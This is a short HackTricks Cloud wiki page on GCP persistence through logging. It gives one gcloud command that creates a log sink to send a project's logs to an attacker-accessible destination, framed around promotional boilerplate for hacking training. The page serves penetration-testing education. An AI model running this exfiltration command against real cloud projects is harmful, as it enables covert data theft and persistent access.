hacktricks-cloud/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md

GCP - Logging Persistence

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

Logging

Find more information about Logging in:

{% content-ref url="../gcp-services/gcp-logging-enum.md" %} gcp-logging-enum.md {% endcontent-ref %}

logging.sinks.create

Create a sink to exfiltrate the logs to an attackers accessible destination:

{% code overflow="wrap" %}

gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"

{% endcode %}

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}